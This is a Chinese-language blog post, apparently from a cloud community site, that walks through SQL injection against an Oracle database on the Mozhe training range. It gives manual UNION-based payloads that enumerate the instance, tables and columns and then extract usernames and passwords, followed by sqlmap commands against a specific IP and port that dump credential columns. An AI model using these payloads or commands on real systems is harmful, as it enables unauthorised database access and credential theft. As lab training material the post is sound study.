web安全|渗透测试|网络安全 超详细 ORACLE数据库注入

举报
黑色地带(崛起) 发表于 2023/02/16 12:37:53 2023/02/16
【摘要】 web安全|渗透测试|网络安全 超详细 ORACLE数据库注入

web安全|渗透测试|网络安全 超详细 ORACLE数据库注入

 ORACLE数据库注入

ORACLE简介

ORACLE8i 之前数据文件的后缀名为.ora,之后为.dbf

Oracle 使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用 dual;

dual 是 Oracle 的虚拟表,用来构成 select 的语法规则,任何用户均可读取

Oracle 保证 dual 里面永远只有一条记录

Oracle 处理表字段的类型比较严谨,查询时可以使用 null 匹配任意类型

||运算符可以将两个或两个以上的字符串连接在一起

注释符:(单行)--(多行)/* */


以分布式数据库为核心的一组软件产品,是最流行的客户/服务器(CLIENT/SERVER)或B/S体系结构的数据库之一。比如SilverStream就是基于数据库的一种中间件。ORACLE数据库是世界上使用最为广泛的数据库管理系统,作为一个通用的数据库系统,它具有完整的数据管理功能;作为一个关系数据库,它是一个完备关系的产品;作为分布式数据库它实现了分布式处理功能。但它的所有知识,只要在一种机型上学习了ORACLE知识,便能在各种类型的机器上使用它。(来自百度百科)


墨者靶场

SQL手工注入漏洞测试(Oracle数据库)

编辑


第一步:判断是否存在注入点

'

and 1=1

and 1=2

(加单引号,无法正常显示,可能有注入点。and 1=1 正常显示,and 1=2 无法正常显示,存在注入点)

编辑

编辑 编辑



第二步:判断数据库类型

and exists(select *from dual)

and exists(select * from user_tables)

(都回显正常,说明是oracle数据库)

编辑

 编辑


第三步:判断显示的数列

order by 2

 order by 3

(order by 2 回显正常,order by 3 回显错误,说明显示2列)

编辑

编辑



第四步:联合查询,看报错情况

and 1=2 union select 1,2 from dual

and 1=2 union select null,null from dual

and 1=2 union select 1,'null' from dual

and 1=2 union select 'null','null' from dual

(只有'null'才能显示出来)


编辑



第五步:获取数据库名

and 1=2 union select 'null',(select instance_name from v$instance) from dual

(获取当前数据库名)

编辑

 and 1=2 union select 'null',(select owner from all_tables where rownum=1) from dual

编辑



第六步:获取数据库下表名

and 1=2 union select 'null',(select table_name from user_tables where rownum=1 and table_name like '%users%') from dual

编辑



第七步:获取数据库下所有列

and 1=2 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1) from dual

编辑



第八步:获取数据

and 1=2 union select USER_NAME,USER_PWD from "sns_users"

(第一个得出来的试了一下不是登录密码)

编辑

and 1=2 union select USER_NAME,USER_PWD from "sns_users" where USER_NAME<>'hu'

编辑



第九步:解密登录

编辑

编辑

 sqlmap工具注入:


第一步:获取数据库:

sqlmap -u 'http://219.153.49.228:42511/new_list.php?id=1' --current-db

编辑

编辑


第二步:获取指定数据库下表

sqlmap -u 'http://219.153.49.228:42511/new_list.php?id=1' --tables -D"public" 

编辑

编辑


第三步:获取数据库下所有字段

sqlmap -u 'http://219.153.49.228:42511/new_list.php?id=1' --columns -T"reg_users" -D"public"

编辑

 编辑


第四步:获取数据

sqlmap -u 'http://219.153.49.228:42511/new_list.php?id=1' --dump -C"name,password" -T"reg_users" -D"public"
编辑

编辑



pangolin 工具注入

编辑

表有点多,要等,我等不下去了 

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。